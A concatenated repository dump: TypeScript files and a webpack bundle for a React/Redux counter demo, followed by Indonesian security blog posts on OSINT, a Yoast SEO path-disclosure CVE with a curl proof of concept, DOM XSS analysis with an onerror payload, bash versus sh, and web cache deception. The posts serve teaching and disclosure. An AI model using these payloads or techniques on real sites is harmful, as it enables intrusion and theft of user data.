logger.d.ts ```/// <reference types="bunyan" /> import * as Logger from 'bunyan'; export declare const logger: Logger; ``` PersonList.d.ts ```/// <reference types="react" /> import * as React from 'react'; export interface IPersonListProps { persons: any; } export declare const PersonList: React.ComponentClass<{}>; ``` index.d.ts ```export * from './counter-repository'; export * from './interfaces'; ``` counter-repository.d.ts ```import { AbstractRepository } from '../db-helpers'; import { ICounterRepository } from './interfaces'; import { ICount } from '../models'; export declare class CounterRepository extends AbstractRepository implements ICounterRepository { protected tableName: string; getById(id: number): Promise<ICount>; find(filter: string, pageNumber?: number, count?: number): Promise<ICount[]>; create(dto: ICount): Promise<ICount>; update(dto: ICount): Promise<ICount>; getCount(): Promise<ICount>; addCount(amount: any): Promise<void>; } ``` api.d.ts ```export declare const api: { save: jest.Mock<{}>; load: jest.Mock<{}>; }; ``` sampleActions.d.ts ```import * as redux from 'redux'; import { Store } from '../reducers/index'; export declare type Q<T> = { request: T; }; export declare type S<T> = { response: T; }; export declare type E = { error: Error; }; export declare type QEmpty = Q<null>; export declare type QValue = Q<{ value: number; }>; export declare type Action = { type: '@@sample-stack/INCREMENT_COUNTER'; delta: number; } | { type: '@@sample-stack/RESET_COUNTER'; } | ({ type: '@@sample-stack/SAVE_COUNT_REQUEST'; } & QValue) | ({ type: '@@sample-stack/SAVE_COUNT_SUCCESS'; } & QValue & S<{}>) | ({ type: '@@sample-stack/SAVE_COUNT_ERROR'; } & QValue & E) | ({ type: '@@sample-stack/LOAD_COUNT_REQUEST'; } & QEmpty) | ({ type: '@@sample-stack/LOAD_COUNT_SUCCESS'; } & QEmpty & S<{ value: number; }>) | ({ type: '@@sample-stack/LOAD_COUNT_ERROR'; } & QEmpty & E); export declare const incrementCounter: (delta: number) => Action; export declare const resetCounter: () => Action; export declare type ApiActionGroup<_Q, _S> = { request: (q?: _Q) => Action & Q<_Q>; success: (s: _S, q?: _Q) => Action & Q<_Q> & S<_S>; error: (e: Error, q?: _Q) => Action & Q<_Q> & E; }; export declare const saveCount: (request: { value: number; }) => (dispatch: redux.Dispatch<Store.Sample>) => void; export declare const loadCount: (request: null) => (dispatch: redux.Dispatch<Store.Sample>) => void; ``` db-config.d.ts ```import { Config } from 'knex'; export declare class DbConfig { private config; constructor(config: Config); getConfiguration(): Config; } ``` Counter.d.ts ```/// <reference types="react" /> import { Store } from '@sample-stack/client-redux'; export declare type CounterOwnProps = { label: string; store?: Store.Sample; }; export declare const Counter: React.ComponentClass<CounterOwnProps>; ``` index.d.ts ```export { Store } from './Store'; export declare const reducers: { '@sample-stack/counter': (state: { value: number; }, action: { type: "@@sample-stack/INCREMENT_COUNTER"; delta: number; } | { type: "@@sample-stack/RESET_COUNTER"; } | ({ type: "@@sample-stack/SAVE_COUNT_REQUEST"; } & { request: { value: number; }; }) | ({ type: "@@sample-stack/SAVE_COUNT_SUCCESS"; } & { request: { value: number; }; } & { response: {}; }) | ({ type: "@@sample-stack/SAVE_COUNT_ERROR"; } & { request: { value: number; }; } & { error: Error; }) | ({ type: "@@sample-stack/LOAD_COUNT_REQUEST"; } & { request: null; }) | ({ type: "@@sample-stack/LOAD_COUNT_SUCCESS"; } & { request: null; } & { response: { value: number; }; }) | ({ type: "@@sample-stack/LOAD_COUNT_ERROR"; } & { request: null; } & { error: Error; })) => { value: number; }; '@sample-stack/isSaving': (state: boolean, action: { type: "@@sample-stack/INCREMENT_COUNTER"; delta: number; } | { type: "@@sample-stack/RESET_COUNTER"; } | ({ type: "@@sample-stack/SAVE_COUNT_REQUEST"; } & { request: { value: number; }; }) | ({ type: "@@sample-stack/SAVE_COUNT_SUCCESS"; } & { request: { value: number; }; } & { response: {}; }) | ({ type: "@@sample-stack/SAVE_COUNT_ERROR"; } & { request: { value: number; }; } & { error: Error; }) | ({ type: "@@sample-stack/LOAD_COUNT_REQUEST"; } & { request: null; }) | ({ type: "@@sample-stack/LOAD_COUNT_SUCCESS"; } & { request: null; } & { response: { value: number; }; }) | ({ type: "@@sample-stack/LOAD_COUNT_ERROR"; } & { request: null; } & { error: Error; })) => boolean; '@sample-stack/isLoading': (state: boolean, action: { type: "@@sample-stack/INCREMENT_COUNTER"; delta: number; } | { type: "@@sample-stack/RESET_COUNTER"; } | ({ type: "@@sample-stack/SAVE_COUNT_REQUEST"; } & { request: { value: number; }; }) | ({ type: "@@sample-stack/SAVE_COUNT_SUCCESS"; } & { request: { value: number; }; } & { response: {}; }) | ({ type: "@@sample-stack/SAVE_COUNT_ERROR"; } & { request: { value: number; }; } & { error: Error; }) | ({ type: "@@sample-stack/LOAD_COUNT_REQUEST"; } & { request: null; }) | ({ type: "@@sample-stack/LOAD_COUNT_SUCCESS"; } & { request: null; } & { response: { value: number; }; }) | ({ type: "@@sample-stack/LOAD_COUNT_ERROR"; } & { request: null; } & { error: Error; })) => boolean; '@sample-stack/error': (state: string, action: { type: "@@sample-stack/INCREMENT_COUNTER"; delta: number; } | { type: "@@sample-stack/RESET_COUNTER"; } | ({ type: "@@sample-stack/SAVE_COUNT_REQUEST"; } & { request: { value: number; }; }) | ({ type: "@@sample-stack/SAVE_COUNT_SUCCESS"; } & { request: { value: number; }; } & { response: {}; }) | ({ type: "@@sample-stack/SAVE_COUNT_ERROR"; } & { request: { value: number; }; } & { error: Error; }) | ({ type: "@@sample-stack/LOAD_COUNT_REQUEST"; } & { request: null; }) | ({ type: "@@sample-stack/LOAD_COUNT_SUCCESS"; } & { request: null; } & { response: { value: number; }; }) | ({ type: "@@sample-stack/LOAD_COUNT_ERROR"; } & { request: null; } & { error: Error; })) => string; }; ``` repository-di-setup.d.ts ```import { Container } from 'inversify'; export declare class RepositoryDiSetup { setup(container: Container): void; } ``` sampleReducers.d.ts ```import { Action } from '../actions'; import { Store } from './Store'; export declare const reducers: { '@sample-stack/counter': (state: Store.Counter, action: Action) => Store.Counter; '@sample-stack/isSaving': (state: boolean, action: Action) => boolean; '@sample-stack/isLoading': (state: boolean, action: Action) => boolean; '@sample-stack/error': (state: string, action: Action) => string; }; ``` logger.ts ```import { ConsoleLogger, IConsoleLoggerSettings } from '@cdm-logger/server'; import * as Logger from 'bunyan'; const settings: IConsoleLoggerSettings = { level: 'debug', }; export const logger: Logger = ConsoleLogger.create('@sample-stack-server', settings); ``` counter.d.ts ```declare const _default: (sequelize: any, DataTypes: any) => void; export default _default; ``` index.d.ts ```export * from './Counter'; export * from './PersonList'; export * from './ServerCounter'; ``` count-model.d.ts ```import { IEntity } from '../../db-helpers'; export declare class ICount implements IEntity { id: number; amount: number; } ``` counter-repository.ts ```import { AbstractRepository } from '../db-helpers'; import { ICounterRepository } from './interfaces'; import { ICount } from '../models'; import { injectable } from 'inversify'; @injectable() export class CounterRepository extends AbstractRepository implements ICounterRepository { // Set the table name to count protected tableName: string = 'count'; public async getById(id: number): Promise<ICount> { return await this.getTable() .where({ id }) .first(); } public async find(filter: string, pageNumber: number = 1, count: number = 20): Promise<ICount[]> { return await this.getTable().where('amount', 'like', `%${filter}`).select(); } public async create(dto: ICount): Promise<ICount> { throw new Error('Method not implemented'); } public async update(dto: ICount): Promise<ICount> { throw new Error('Method not implemented'); } public async getCount(): Promise<ICount> { return await this.getTable().first(); } public async addCount(amount) { await this.getTable().increment('amount', amount); } } ``` api.d.ts ```export declare type Api = { save(x: { value: number; }): Promise<null>; load(): (Promise<{ value: number; }>); }; export declare const api: Api; ``` constants.d.ts ```export declare const TYPES: { ICounterRepository: symbol; }; ``` repository-di-setup.ts ```import { Container } from 'inversify'; import { ICounterRepository, CounterRepository } from './repository'; import { TYPES } from './constants'; export class RepositoryDiSetup { public setup(container: Container): void { container.bind<ICounterRepository>(TYPES.ICounterRepository).to(CounterRepository); } } ``` example-async.d.ts ```declare const Hp: any; ``` index.d.ts ```export declare const PERSON_QUERY: any; export declare const PERSONS_QUERY: any; export declare const COUNT_QUERY: any; ``` Store.d.ts ```export declare namespace Store { type Counter = { value: number; }; type Sample = { '@sample-stack/counter': Counter; '@sample-stack/isSaving': boolean; '@sample-stack/isLoading': boolean; '@sample-stack/error': string; }; } ``` abstract-repository.d.ts ```import * as Knex from 'knex'; import { DbConfig } from './db-config'; export declare abstract class AbstractRepository { dbConfig: DbConfig; protected abstract tableName: string; getDb(): Knex; getTable(): Knex.QueryBuilder; } ``` integration_setup.ts ```import * as WebSocket from 'ws'; import { createNetworkInterface, ApolloClient } from 'apollo-client'; import { SubscriptionClient, addGraphQLSubscriptions } from 'subscriptions-transport-ws'; import { addApolloLogging } from 'apollo-logger'; let server; let apollo; beforeAll(async () => { const wsClient = new SubscriptionClient(`ws://localhost:${process.env['PORT']}`, {}, WebSocket); const networkInterface = addGraphQLSubscriptions( createNetworkInterface({ uri: `http://localhost:${process.env['PORT']}/graphql`}), wsClient, ); // apollo = new ApolloClient({ // networkInterface: addApolloLogging(networkInterface), // }); }); afterAll(() => { if (server) { server.close(); } }); export const getServer = () => server; export const getApollo = () => apollo; ``` index.d.ts ```export declare const ADD_PERSON_MUTATION: any; export declare const ADD_COUNT_MUTATION: any; ``` logger.ts ```import { ClientLogger } from '@cdm-logger/client'; import * as Logger from 'bunyan'; const logger = ClientLogger.create('FullStack', { level: 'trace'}); export { logger }; ``` schema.d.ts ```export declare type addCountMutationVariables = { amount: number; }; export declare type addCountMutation = { addCount: { amount: number; } | null; }; export declare type addPersonMutationVariables = { name: string; sex: string; }; export declare type addPersonMutation = { addPerson: { id: string | null; name: string | null; } | null; }; export declare type getCountQuery = { count: { amount: number; } | null; }; export declare type getPersonQueryVariables = { id: string; }; export declare type getPersonQuery = { getPerson: { id: string | null; name: string | null; sex: string | null; matches: Array<{ id: string | null; name: string | null; sex: string | null; matches: Array<{ id: string | null; name: string | null; sex: string | null; matches: Array<{ id: string | null; name: string | null; sex: string | null; } | null> | null; } | null> | null; } | null> | null; } | null; }; export declare type getPersonsQuery = { persons: Array<{ id: string | null; name: string | null; } | null> | null; }; export declare type subscribeToCountSubscription = { subscribeToCount: { amount: number; } | null; }; ``` repository.test.d.ts ```import 'reflect-metadata'; import 'jest'; ``` index.js ```module.exports = /******/ (function(modules) { // webpackBootstrap /******/ // The module cache /******/ var installedModules = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ /******/ // Check if module is in cache /******/ if(installedModules[moduleId]) { /******/ return installedModules[moduleId].exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = installedModules[moduleId] = { /******/ i: moduleId, /******/ l: false, /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__); /******/ /******/ // Flag the module as loaded /******/ module.l = true; /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /******/ /******/ // expose the modules object (__webpack_modules__) /******/ __webpack_require__.m = modules; /******/ /******/ // expose the module cache /******/ __webpack_require__.c = installedModules; /******/ /******/ // define getter function for harmony exports /******/ __webpack_require__.d = function(exports, name, getter) { /******/ if(!__webpack_require__.o(exports, name)) { /******/ Object.defineProperty(exports, name, { /******/ configurable: false, /******/ enumerable: true, /******/ get: getter /******/ }); /******/ } /******/ }; /******/ /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = function(module) { /******/ var getter = module && module.__esModule ? /******/ function getDefault() { return module['default']; } : /******/ function getModuleExports() { return module; }; /******/ __webpack_require__.d(getter, 'a', getter); /******/ return getter; /******/ }; /******/ /******/ // Object.prototype.hasOwnProperty.call /******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); }; /******/ /******/ // __webpack_public_path__ /******/ __webpack_require__.p = ""; /******/ /******/ // Load entry module and return exports /******/ return __webpack_require__(__webpack_require__.s = 0); /******/ }) /************************************************************************/ /******/ ([ /* 0 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; function __export(m) { for (var p in m) if (!exports.hasOwnProperty(p)) exports[p] = m[p]; } Object.defineProperty(exports, "__esModule", { value: true }); __export(__webpack_require__(1)); __export(__webpack_require__(3)); /***/ }), /* 1 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); const sampleReducers_1 = __webpack_require__(2); exports.reducers = Object.assign({}, sampleReducers_1.reducers); /***/ }), /* 2 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); function isSaving(state = false, action) { switch (action.type) { case '@@sample-stack/SAVE_COUNT_REQUEST': return true; case '@@sample-stack/SAVE_COUNT_SUCCESS': case '@@sample-stack/SAVE_COUNT_ERROR': return false; default: return state; } } function isLoading(state = false, action) { switch (action.type) { case '@@sample-stack/LOAD_COUNT_REQUEST': return true; case '@@sample-stack/LOAD_COUNT_SUCCESS': case '@@sample-stack/LOAD_COUNT_ERROR': return false; default: return state; } } function error(state = '', action) { switch (action.type) { case '@@sample-stack/LOAD_COUNT_REQUEST': case '@@sample-stack/SAVE_COUNT_REQUEST': return ''; case '@@sample-stack/LOAD_COUNT_ERROR': case '@@sample-stack/SAVE_COUNT_ERROR': return action.error.toString(); default: return state; } } const initialState = { value: 0, }; function counter(state = initialState, action) { switch (action.type) { case '@@sample-stack/INCREMENT_COUNTER': const { delta } = action; return { value: state.value + delta }; case '@@sample-stack/RESET_COUNTER': return { value: 0 }; case '@@sample-stack/LOAD_COUNT_SUCCESS': return { value: action.response.value }; default: return state; } } exports.reducers = { '@sample-stack/counter': counter, '@sample-stack/isSaving': isSaving, '@sample-stack/isLoading': isLoading, '@sample-stack/error': error, }; /***/ }), /* 3 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; function __export(m) { for (var p in m) if (!exports.hasOwnProperty(p)) exports[p] = m[p]; } Object.defineProperty(exports, "__esModule", { value: true }); __export(__webpack_require__(4)); /***/ }), /* 4 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); const api_1 = __webpack_require__(5); exports.incrementCounter = (delta) => ({ type: '@@sample-stack/INCREMENT_COUNTER', delta, }); exports.resetCounter = () => ({ type: '@@sample-stack/RESET_COUNTER', }); const _saveCount = { request: (request) => ({ type: '@@sample-stack/SAVE_COUNT_REQUEST', request }), success: (response, request) => ({ type: '@@sample-stack/SAVE_COUNT_SUCCESS', request, response }), error: (error, request) => ({ type: '@@sample-stack/SAVE_COUNT_ERROR', request, error }), }; const _loadCount = { request: (request) => ({ type: '@@sample-stack/LOAD_COUNT_REQUEST', request: null }), success: (response, request) => ({ type: '@@sample-stack/LOAD_COUNT_SUCCESS', request: null, response }), error: (error, request) => ({ type: '@@sample-stack/LOAD_COUNT_ERROR', request: null, error }), }; function apiActionGroupFactory(x, go) { return (request) => (dispatch) => { dispatch(x.request(request)); go(request) .then((response) => dispatch(x.success(response, request))) .catch((e) => dispatch(x.error(e, request))); }; } exports.saveCount = apiActionGroupFactory(_saveCount, api_1.api.save); exports.loadCount = apiActionGroupFactory(_loadCount, api_1.api.load); /***/ }), /* 5 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); const flakify = (f) => new Promise((resolve, reject) => window.setTimeout(() => { try { if (Math.random() < 0.2) { throw new Error('Failed arbitrarily'); } resolve(f()); } catch (e) { return reject(e); } }, 200 + Math.random() * 2000)); exports.api = { save: (counter) => flakify(() => { localStorage.setItem('__counterValue', counter.value.toString()); return null; }), load: () => flakify(() => { const value = parseInt(localStorage.getItem('__counterValue'), 10); return { value }; }), }; /***/ }) /******/ ]); //# sourceMappingURL=index.js.map```
zeroby0/iiitb.sem5
zeroby0/iiitb.sem5 README.md ```# SEM5 All files of Semester 5 Check the branches. ```
zerobyte-id/infosec.zerobyte.id
zerobyte-id/infosec.zerobyte.id 2020-2-14-satukan-pendapat-tentang-OSINT.md ```--- layout: post title: Mari satukan pendapat tentang OSINT categories: [OSINT] author: Novran Faathir --- TL;DR - Beberapa orang memandang bahwa OSINT serta merta hanya untuk melakukan mata-mata kepada seseorang, sampai pernah ada beberapa orang menyuruh saya berhenti untuk riset OSINT, mungkin asumsi saya karena menjadi penguntit itu kurang beretika dan terlalu berbahaya. **Benarkah begitu?** Menurut saya pribadi: ``` Tidak sepenuhnya benar. ``` # Open Source Intelligent (OSINT) Pengertian OSINT - Open Source yang berarti sumber terbuka, supaya lebih mudah kita sebut saja "Sumbernya" yaitu "Data". Data tersebut diperoleh dari sumber yang benar-benar terbuka alias umum (seperti: Google) dan bukan hasil crack. **Jadi secara etika sudah benar dong?** Kemudian data tersebut digunakan untuk keperluan "Intelligent" dan "Intelligent" pun menurut saya: ``` Kalau saya gunakan pribadi, "Intelligent" hanya untuk bahasa kerennya saya saja. ``` # OSINT untuk penguntit? **Klasifikasi OSINT:** - Human Intelligent (HUMINT) - Menurut saya kategori HUMINT-lah yang lebih pantas dibilang penguntit, karena data yang dicari adalah data personal (manusia). - Signal Intelligent (SIGINT) - Mencari sumber data yang berhubungan dengan sinyal, contohnya: Wardriving (WiFi, Bluetooth), Tracking BTS, dan lain-lain. - Cyber/Network Intelligent - Mencari sumber data yang berhubungan dengan Cyber/Network, contohnya: Shodan Search Engine. Sebenarnya masih banyak lagi klasifikasi tentang OSINT, mungkin akan kita bahas dilain waktu. Setuju kah kalian? Mohon koreksinya bilamana terdapat kesalahan. ``` 2023-1-4-cve-dari-plugin-wordpress.md ```--- layout: post title: Memperoleh CVE dari Plugin WordPress (CVE-2021-25118) categories: [CVE] author: Fariq Fadillah --- ### Summary Pada saat mengerjakan proyek yang membutuhkan REST API WordPress sebuah blog, saya menemukan kerentanan di plugin Yoast SEO versi 17.2 dan sudah saya laporkan kepada pihak WordPress. Setelah itu saya diberikan kode CVE-2021-25118. Terkait dengan celah yang saya temukan, versi yang terdampak yaitu versi 16.7 sampai 17.2 dan sudah diperbaiki pada versi 17.3. ### Description Wordpress Plugin Yoast Seo versi 16.7 - 17.2 terdapat celah Information Disclosure tepatnya menampilkan Full Internal Path dari featured images sebuah post melalui REST API `/wp/v2/posts`. Full Internal Path dapat membantu penyerang untuk dikombinasikan dengan eksploitasi kerentanan lain yang teridentifikasi. ### Step to Reproduce Pada sebuah post harus ada featured image agar bisa menampilkan Full Internal Path. Untuk melakukan eksploitasi bisa menggunakan bantuan cURL dan jq. ``` curl -s 'https://example.com/wp-json/wp/v2/posts?per_page=1' | jq '.[0].yoast_head_json.og_image[0].path' ``` <img src="https://infosec.zerobyte.id/images/CVE-2021-25118-poc.png" alt="POC CVE-2021-25118"> ### Conclusion Setelah itu saya mengirim report ke [WPScan](https://wpscan.com/submit) agar dibantu untuk diberi kode CVE dan beberapa hari kemudian pihak WPScan memberi kode CVE-2021-25118. <img src="https://infosec.zerobyte.id/images/CVE-2021-25118-assigned.png" alt="CVE-2021-25118 Assigned"> Bug Fix pada [versi 17.3](https://plugins.trac.wordpress.org/changeset/2608691). File: `src/presenters/open-graph/image-presenter.php` <img src="https://infosec.zerobyte.id/images/CVE-2021-25118-fix.png" alt="CVE-2021-25118 fixed"> Terima kasih dan mohon maaf jika ada kesalahan. ``` 2022-10-10-dom-xss-analysis.md ```--- layout: post title: DOM-Based Cross-Site Scripting Analysis categories: [Web Security] author: Novran Faathir --- Artikel ini akan membahas tentang bagaimana cara melakukan Static Analysis untuk menemukan kerentanan DOM XSS. # Apa itu DOM XSS? DOM-Based Cross-Site Scripting adalah salah satu celah XSS, celah ini juga bisa dibilang sebagai JavaScript XSS yang dimana Attacker akan mengeksploitasi XSS tersebut di level JavaScript. | Reflected XSS | DOM XSS | | ---------------------------------------------- |:----------------------------------------------------:| | Dapat dilihat menggunakan CTRL+U (view-source) | Tidak dapat dilihat menggunakan CTRL+U (view-source) | | Mudah ditemukan menggunakan Web Scanner | Agak sulit untuk ditemukan menggunakan Web Scanner | ![JS XSS](https://infosec.zerobyte.id/images/javascript-xss.png) # DOM: Source and Sink **Note:** Source dan Sink adalah kunci yang perlu diperhatikan untuk melakukan analisa terhadap celah DOM XSS. ### Source Di dalam JavaScript, Source adalah sebuah sintaks yang berguna untuk mengambil sebuah Value (isi), Value tersebut dapat diubah-ubah oleh User itu sendiri (bersifat Dynamic), bisa dibilang hal tersebut mirip-mirip seperti Parameter Input yang disimpan kedalam Variable. Source: - location.search - location.hash - location.href - document.referrer ### Sink Sink adalah sebuah Function yang biasanya digunakan untuk memproses Value dari `Source`. Sink: - document.write() - document.writeln() - element.innerHTML - element.outerHTML Sebenarnya masih banyak lagi list `Source` dan `Sink` yang perlu diperhatikan, kalian dapat **Googling** untuk menemukan list yang lebih lengkap. # Example: Sink to Source Analysis Ini adalah salah satu contoh untuk melakukan analisa terhadap DOM Manipulation. ![source-to-sink-dom-xss](https://infosec.zerobyte.id/images/source-to-sink-dom-xss.png) Pada JavaScript di atas terdapat sebuah **Sink** yaitu `document.write()` yang memanggil Variable dari productid. Variable productid sendiri menggunakan salah satu sintaks **Source** yaitu `location.href` yang di-parsing menggunakan Function `searchParams` untuk mengambil URL Parameter `get('pid')`. | to "Sink" | from "Source" | | ---------------- |:-------------:| | document.write() | location.href | ### Exploitation ``` https://[redacted].com/[redacted]/cart?pid="%20onerror="alert(1)"%20x=" ``` ![DOM Triggered](https://infosec.zerobyte.id/images/dom-xss-location-href.png) #### Before ``` Browse: /cart?pid=179273640 Document: document.write('<img src="/images/thumb-179273640.jpeg">') ``` #### After ``` Browse: /cart?pid="%20onerror="alert(1)"%20x=" Document: document.write('<img src="/images/thumb-" onerror="alert(1)" x=".jpeg">') ``` # EOF Untuk menemukan kerentanan DOM XSS sendiri sebenarnya kalian hanya perlu memperhatikan `Source` dan `Sink` yang terdapat pada JavaScript di Website yang sedang kalian lakukan Assessment. Terima kasih. ``` 2020-2-15-Bash-dan-Sh-Mereka-itu-Berbeda.md ```--- layout: post title: Bash != Sh (Mereka itu berbeda) categories: [Shell Script] author: Edo Maland --- # Something Different ![enter image description here](https://images5.alphacoders.com/520/thumb-1920-520207.jpg) Sebenarnya **bash dengan sh itu tidaklah sama** , kita tidak bisa bilang **sh** itu adalah **bash**. Kalau kita ngomongnya dari **standarisasi** sh itu adalah **POSIX** ( Portable Operating System Interface ) untuk sistem shell. Dimana fungsi **/bin/sh** itu adalah untuk **menetapkan default** dari system, tanpa kita harus melihat dulu **shell** apa yang kita gunakan. Oiya fyi, Shell dan terminal itu berbeda yah. Untuk penjelasan lebih detail perbedaan bash dan terminal bisa lihat video dibawah ini. [![IMAGE ALT TEXT HERE](https://user-images.githubusercontent.com/17976841/74555102-94950a80-4f8d-11ea-9cfd-91c0183fe114.png)](https://youtu.be/Yt57-gg9jVg) Kalo kita analogikan , ceritanya hampir sama seperti ini . Ada hewan reptil yang ber **Ordo Crocodilia** yang dimana memiliki **standarisasi** . Agar bisa masuk ke dalam ordo tersebut, reptil tersebut harus memiliki ciri ciri sebagai berikut : - Kulit tebal mengandung kepingan tulang yang tersusun berderet dan berlunas - Kepala berbentuk pyramid, keras dan kuat, - dilengkapi dengan gigi runcing bertipe gigi poliodont. - Mata kecil terletak dibagian kepala yang menonjol di dorsal-latera. Oke, kalau sudah cukup paham coba lihat dan perhatikan seksama gambar dibawah ini : ![enter image description here](https://miro.medium.com/max/1415/1*W3qTqtjsegoamoy68Qul2Q.png) Menurut teman teman, gambar diatas adalah hewan apa ? Saya yakin **70%** dari kalian bakal ngejawab kalau dua gambar itu adalah **BUAYA** (bukan buaya darat ). Sebenarnya dari gambar diatas , itu adalah dua gambar yang berbeda dimana gambar sebelah kiri adalah **Buaya** dan gambar disebelah kanananya adalah **Alligator** . Kalau dilihat sekilas emang mereka kelihatan mirip , tapi coba deh kita lihat lebih detail lagi kearah moncongnya . Disana **Buaya** memiliki moncong panjang dan menyempit, **cenderung membentuk huruf “V”**. Sementara **Aligator memiliki moncong yg pendek, lebar, dan berbentuk huruf “U”**. > Walupun mereka memiliki **feature** yang berbeda tapi mereka telah terstandarisasi sehingga termasuk dari **Ordo Crocodilia .** Jadi peran si sh itu hampir sama seperti Ordo Crocodilia ini, yang dimana `bash,dash,ksh dan csh` adalah **jenis shell** yang telah **terstandariasi** sehingga bisa disebut **shell**. ![enter image description here](https://cdn.psychologytoday.com/sites/default/files/field_blog_entry_images/2018-10/171026-f-rn211-001.jpg) ## Lalu kenapa kebanyakan orang masih beranggapan bahwa sh itu adalah Bash ### 1. Salah Kaprah Karena kebanyakan distro saat ini, mengarahkan sh untuk menggunakan jenis shell bash atau bisa kita sebut symbolic **( sh symbolic point to bash )**. ![enter image description here](https://www.pngkey.com/png/detail/315-3152007_png-animuthinku-thinking-meme-face-anime.png) Tidak **semua** distro contohnya debian ( Linux Kali 4.9.0) symbolic ke **bash** melainkan ke **dash**. Untuk melihat symbolic kemanakah sh kalian . Kalian bisa gunakan perintah dibawah ini root@emaland:~# file -h /bin/sh Inilah penyebabnya script yang kalian download atau yang telah kalian buat Error dan Fail di distro yang sebenarnya **tidak symbolic ke bash** . Ini adalah **sebagain** contoh bagian dari kode bash yang tidak bisa jalan di shell lain seperti **/bin/dash** atau kita menyebutnya ( **Bashism )**. root@emaland:~# echo "echo $'Jarak\tKita'" > program root@emaland:~# dash program $Jarak Kita root@emaland:~# bash program Jarak Kita Kode diatas tidak akan berjalan dengan baik di shell dengan jenis dash, sedangkan di saat kita menjalankan program tersebut menggunakan shell bash, outputnya akan baik baik saja tanpa adanya symbol **’$ ‘**. Munculnya symbol **$’ ‘** ini **disebabkan** karena tidak didefinisikan oleh **POSIX hingga 2008.** ![image](https://user-images.githubusercontent.com/17976841/74555594-a4611e80-4f8e-11ea-8e73-899fd07af823.png) Kalau masih penasaran tentang **Bashism** ini bisa mengunjunginya [disini](https://mywiki.wooledge.org/Bashism) ### 2. Shebang ( Sharp & Bang ) ![enter image description here](https://camo.githubusercontent.com/b0e90d35de707fc60cf4b18e856628bfcd037c42/68747470733a2f2f6c696e7578697a652e636f6d2f706f73742f626173682d73686562616e672f66656174757265642e6a7067) Sebuah line yang diawali dengan prefix #! yang menuju ke path interpreter yang akan digunakan, dimana program itu akan di eksekusi melalui GNU/Linux. #!/bin/bash <- ini adalah shebang ![enter image description here](https://miro.medium.com/max/1059/0*KjWdichzMtZNI1W1.jpg) Jadi shebang apa yang digunakan di file scripting kita ? **Shebang** yang kalian gunakan **tergantung** dari symbolic system yang kita gunakan. Apabila **/bin/sh symbolic ke /bin/bash** itu tidak akan menjadi masalah, yang menjadi **masalah** adalah di saat **/bin/sh** kita tidak **symbolic ke **/bin/bash .**** #!/bin/bash Jadi alangkah bagusnya di saat membuat shebang, langsung di arahkan saja interpreternya ke bash misalnya ataupun dash jika ingin menggunakan dash. ### 3. File Ekstensi ![enter image description here](https://miro.medium.com/max/1521/1*J4GPASLHTAMEwums35krng.png) Penggunaan ektensi **.sh** ini bukanlah untuk menujukan kalau dia adalah ektensi yang dimiliki untuk **bash.** Sedikit cerita, di jaman dulu ektensi ini bertujuan untuk membedakan mana yang **binary dan mana yang scripting** , serta untuk pengingat juga *kalau lupa. Apabila sudah menggunakan **shebang** di script kita , penggunaan ektensi yang membosankan ini tidak dibutuhkan sama sekali . Kita cukup memberikan file permsion executable di program kita dan kemudian dijalankan seperti perintah dibawah ini chmod +x scripting root@emaland:~# ./scripting Apabila kita memberikan fie execute **tanpa adanya shebang** di awal , maka script akan **memanggil shell default** apa yang telah ditetapkan oleh terminal. Untuk mengecek shell default apa yang digunakan oleh system kalian ketikan perintah : root@emaland:~# echo $SHELL Mungkin pembahasan tentang Shell and Bash ini sampai disini dulu, jikalau ada kurangnya mohon maaf dan apabila ada masukan dan tambahan sangat diterima, Okelah kalau begitu. Terimakasih, kalo di rasa tulisan ini bermanfaat, silahkan **Share**. Semoga kebermanfaatan ini terus berlanjut! ``` 2020-5-3-web-cache-deception-vulnerability.md ```--- layout: post title: Web Cache Deception Vulnerability categories: [Web Security] author: Novran Faathir --- Supaya Server Real tidak terlalu terbebani biasanya file yang familiar seperti `.jpg`, `.png`, `.js`, `.css`, dan lain-lain akan dimasukan kedalam Server Cache. **Web Cache Deception adalah** kerentanan pada sebuah Server Cache yang digunakan untuk menampung data dari Web Server (Server-Side Cache). Arti dari "Deception" yaitu "Penipuan", dimana kerentanan ini Attacker akan memanfaatkan Misconfiguration dari Server-Side Cache. # Technical Explanation Kita analisis terlebih dahulu, setelah kita analisis ternyata Web Server milik `https://target.com/` tersebut melakukan Caching terhadap file `.js`. Kita cari tahu Endpoint mana yang menyimpan data krusial milik User. Misalnya, pada `https://target.com/profile.php` tersimpan data User seperti: ``` <p>Juned</p> <p>email@mail.com</p> <p>+62 812-3456-7890</p> ``` ### Menipu Server Cache Karena `https://target.com/` melakukan Caching pada file `.js` maka kita sebut saja pada `https://target.com/profile.php/apasaja.js` sebagai Vulnerable Cache-able Link. Selanjutnya akan dijelaskan pada gambar di bawah ini: ![Web Cache Deception](/images/Web%20Cache%20Deception.png) Attacker mengirimkan link tersebut ke User untuk mencuri isi `profile.php` pada `https://target.com` milik **User**. #### First Request Kita anggap saja **User** sudah terotentikasi dan sudah memiliki Session pada `https://target.com/`, sehingga saat User mengakses `https://target.com/profile.php/apasaja.js` akan muncul data miliknya dan akan tersimpan pada Server Cache. #### Second Request Kemudian saat Attacker melakukan Second Request pada `https://target.com/profile.php/apasaja.js` akan mendapatkan data milik User, karena Request kedua mengambil dari Server Cache yang dianggap sebagai file `.js`. Ini adalah murni kerentanan dari sebuah Web Server bilamana tidak bisa artinya tidak rentan. Begitulah kira-kira penjelasan singkatnya, semoga bermanfaat. ``` 2022-12-17-xss-mengintip-dashboard-admin-situs-haram.md ```--- layout: post title: Mengintip Dashboard Admin Situs Haram (XSS Story) categories: [Bug Bounty Write-Up] author: Akbar Kustirama --- Kegiatan ini berawal dari salah satu teman yang memberi informasi 